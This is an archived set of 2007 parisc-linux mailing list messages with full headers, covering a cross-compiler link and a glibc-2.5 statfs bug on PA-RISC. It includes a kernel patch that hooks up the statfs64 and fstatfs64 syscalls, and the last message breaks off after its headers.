On Sat, Feb 10, 2007 at 11:44:24PM -0800, Andrew Morton wrote:
> I say this a lot, but...  It is in the interests of arch maintainers to
> help others to build cross-compilers.  If someone were to prepare a web
> page (or even a script) which could be used to generate a kernel
> cross-compilation environment for parisc then the parisc maintainers would
> see a lot less breakage.
> 

Heh, I put this up last time you asked. :)

http://kyle.mcmartin.ca/hppa64-hp-linux-gcc-3.4.tar

Cheers,
	Kyle

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Mon, 12 Feb 2007 09:13:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20070212141325.GC14731__11140.4532370672$1416624287$gmane$org@athena.road.mcmartin.ca>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624287 22730 80.91.229.3 (22 Nov 2014 02:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 14:13:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 12 Feb 2007 15:13:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96E0F7DB77;
	Mon, 12 Feb 2007 07:13:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32308-08; Mon, 12 Feb 2007 07:13:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73CA97DB70;
	Mon, 12 Feb 2007 07:13:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 504C27DB64
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32308-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:13:39 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9B6007DB5A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:13:39 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4171F58409C;
	Mon, 12 Feb 2007 09:13:39 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D853858409A;
	Mon, 12 Feb 2007 09:13:38 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 86013837DB;
	Mon, 12 Feb 2007 09:13:38 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 38AD53B06E; Mon, 12 Feb 2007 09:13:25 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070212102844.f045d760.gmsoft@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H0HjcScbf2I/p4icY2xoNWBwdWxlc1Zq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24319

On Mon, Feb 12, 2007 at 10:28:44AM +0100, Guy Martin wrote:
> 
> Hi all,
> 
> 
> While running and testing glibc-2.5, I've encountered the following problem :
> 

Wow. Let me get my divining rod, crystal ball, and other tools to help
out my clairvoyance...

How about you strace it and tell us what bloody syscalls it used...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Mon, 12 Feb 2007 15:37:31 +0100
Lines: 122
Approved: news@gmane.org
Message-ID: <20070212153731.846e2ad3.gmsoft__6384.99391866407$1416624287$gmane$org@gentoo.org>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Mon__12_Feb_2007_15_37_31_+0100_MfWJjtJO2MnLHGri"
X-Trace: ger.gmane.org 1416624287 22733 80.91.229.3 (22 Nov 2014 02:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 14:36:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 12 Feb 2007 15:36:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 872067DB7E;
	Mon, 12 Feb 2007 07:36:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32610-06; Mon, 12 Feb 2007 07:36:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CA667DB82;
	Mon, 12 Feb 2007 07:36:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 480C67DB6C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:36:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32610-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:36:20 -0700 (MST)
Original-Received: from av-tac-bru.cisco.com (weird-brew.cisco.com [144.254.15.118])
	by free.linux.hp.com (Postfix) with ESMTP id 23EC27DA91
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 07:36:19 -0700 (MST)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-bru.cisco.com (8.11.7p3+Sun/8.11.7) with ESMTP id
	l1CEaIe26364 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 15:36:18 +0100 (CET)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-107.cisco.com
	[144.254.7.107])
	by strange-brew.cisco.com (8.11.7p3+Sun/8.11.7) with SMTP id
	l1CEaI326611 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 15:36:18 +0100 (CET)
In-Reply-To: <20070212102844.f045d760.gmsoft@gentoo.org>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R0npff0KYW0+6buGbmZpSX10amthc5tF
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24320

This is a multi-part message in MIME format.

--Multipart=_Mon__12_Feb_2007_15_37_31_+0100_MfWJjtJO2MnLHGri
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit




Hi all,


After some more troubleshooting, I've found out that parisc doesn't hook up the statfs64 syscall.

Applying the attached patch and recompile glibc with updated headers makes df works again.

Apparently, the statfs64 syscalls are available since 2.5.74.


Please review the patch.


Regards,
  Guy



On Mon, 12 Feb 2007 10:28:44 +0100
Guy Martin <gmsoft@gentoo.org> wrote:

> 
> Hi all,
> 
> 
> While running and testing glibc-2.5, I've encountered the following problem :
> 
> hope bin # ./df -h
> Filesystem            Size  Used Avail Use% Mounted on
> /dev/sda3             276Y  276Y  539Z 100% /
> sysfs                18641256972210Y 18634655137640Y 70815813734120Y  21% /sys
> udev                 18641256972210Y 18634655137640Y 70815813734120Y  21% /dev
> devpts               18641256972210Y 18634655137640Y 70815813734120Y  21% /dev/pts
> shm                  18641256972210Y 18634655137640Y 70815813734120Y  21% /dev/shm
> usbfs                18641256972210Y 18634655137640Y 70815813734120Y  21% /proc/bus/usb
> playa:/usr/portage/distfiles
>                      18641256972210Y 18634655137640Y 70815813734120Y  21% /usr/portage/distfiles
> /dev/sdb4            18641256972210Y 18634655137640Y 70815813734120Y  21% /mnt/gentoo
> /dev/sdb2            18641256972210Y 18634655137640Y 70815813734120Y  21% /mnt/gentoo/boot
> 
> 
> Despite the fact that I whish I had that capacity, there is definately an issue.
> 
> This is using glibc-2.5, 2.6.20-pa0 and corresponding headers.
> 
> 
> Let me know if you need more info.
> 
> Cheers,
>   Guy
> 
> 
> 
> -- 
> Guy Martin
> Gentoo Linux - HPPA port lead
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
Guy Martin
Gentoo Linux - HPPA port lead


--Multipart=_Mon__12_Feb_2007_15_37_31_+0100_MfWJjtJO2MnLHGri
Content-Type: text/x-patch;
 name="hookup-statfs64-syscall-parisc.diff"
Content-Disposition: attachment; filename="hookup-statfs64-syscall-parisc.diff"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 5114666..fb6788f 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -403,5 +403,7 @@
 	ENTRY_COMP(move_pages)		/* 295 */
 	ENTRY_SAME(getcpu)
 	ENTRY_SAME(epoll_pwait)
+	ENTRY_COMP(statfs64)
+	ENTRY_COMP(fstatfs64)
 	/* Nothing yet */
 
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index 7c1bb8b..4369991 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -790,6 +790,8 @@
 #define __NR_move_pages		(__NR_Linux + 295)
 #define __NR_getcpu		(__NR_Linux + 296)
 #define __NR_epoll_pwait	(__NR_Linux + 297)
+#define __NR_statfs64		(__NR_Linux + 298)
+#define __NR_fstatfs64		(__NR_Linux + 299)
 
 #define __NR_Linux_syscalls     298
 

--Multipart=_Mon__12_Feb_2007_15_37_31_+0100_MfWJjtJO2MnLHGri
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Mon__12_Feb_2007_15_37_31_+0100_MfWJjtJO2MnLHGri--



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Mon, 12 Feb 2007 11:29:48 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <5b2e36650702120829u1d06e09cyc09ee8faebc8d9c9__23945.974224671$1416624287$gmane$org@mail.gmail.com>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
	<20070212153731.846e2ad3.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624287 22734 80.91.229.3 (22 Nov 2014 02:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Guy Martin" <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 16:30:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 12 Feb 2007 17:30:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D40067DB8C;
	Mon, 12 Feb 2007 09:30:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01244-04; Mon, 12 Feb 2007 09:30:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB40C7DB8F;
	Mon, 12 Feb 2007 09:30:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2517DB83
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:29:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01111-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:29:51 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id A93887DB75
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:29:51 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id i4so1901136wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 08:29:51 -0800 (PST)
Original-Received: by 10.114.183.1 with SMTP id g1mr5990185waf.1171297788667;
	Mon, 12 Feb 2007 08:29:48 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Mon, 12 Feb 2007 08:29:48 -0800 (PST)
In-Reply-To: <20070212153731.846e2ad3.gmsoft@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IK/ocPZMbmw74a2HZzdLz+5HUzc4cpHM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24321

On 12/02/07, Guy Martin <gmsoft@gentoo.org> wrote:
> After some more troubleshooting, I've found out that parisc doesn't hook up the statfs64 syscall.
>
> Applying the attached patch and recompile glibc with updated headers makes df works again.
>
> Apparently, the statfs64 syscalls are available since 2.5.74.

Thanks,  I'll test this later.  We have this problem in Ubuntu right
now on 64 bit kernels, but I hadn't narrowed it down enough to make a
report yet. =)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Mon, 12 Feb 2007 09:48:06 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20070212164806.GT13101__30408.7384058677$1416624288$gmane$org@parisc-linux.org>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
	<20070212153731.846e2ad3.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624288 22737 80.91.229.3 (22 Nov 2014 02:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 16:48:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 12 Feb 2007 17:48:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD5097DBA6;
	Mon, 12 Feb 2007 09:48:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01563-01; Mon, 12 Feb 2007 09:48:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D31497DB9D;
	Mon, 12 Feb 2007 09:48:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05047DB8C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:48:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01111-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:48:07 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7057DB7A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 09:48:07 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id EF97C494005; Mon, 12 Feb 2007 09:48:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20070212153731.846e2ad3.gmsoft@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z6jpffgKYW0+6buGbmZpC610amthc5tt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24322

On Mon, Feb 12, 2007 at 03:37:31PM +0100, Guy Martin wrote:
> After some more troubleshooting, I've found out that parisc doesn't hook up the statfs64 syscall.

I thought we didn't need a statfs64 syscall since it returns the same
struct as statfs on parisc (due to the struct definitions already being
big enough).  However, now that I review the definitions, I think you're
right and we should hook it up.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fw: Another problem with making things static
Date: Mon, 12 Feb 2007 09:15:42 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20070212091542.70951e2f.akpm__25110.3843715557$1416624288$gmane$org@linux-foundation.org>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070210201911.7a16b5f3.akpm@linux-foundation.org>
	<20070211072552.GC22248@colo.lackof.org>
	<20070210234424.500ed1c9.akpm@linux-foundation.org>
	<20070211165405.GA4050@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624288 22738 80.91.229.3 (22 Nov 2014 02:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:48 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 torvalds@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Feb 2007 17:16:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 12 Feb 2007 18:16:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F21597DBA8;
	Mon, 12 Feb 2007 10:16:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01818-07; Mon, 12 Feb 2007 10:16:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD5777DBA9;
	Mon, 12 Feb 2007 10:16:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFC0E7DB9E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 10:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01818-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 10:15:46 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.24])
	by free.linux.hp.com (Postfix) with ESMTP id E1A177DB9C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Feb 2007 10:15:45 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id l1CHFhUI017410
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 12 Feb 2007 09:15:43 -0800
Original-Received: from sony (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with SMTP id l1CHFgwE005191;
	Mon, 12 Feb 2007 09:15:42 -0800
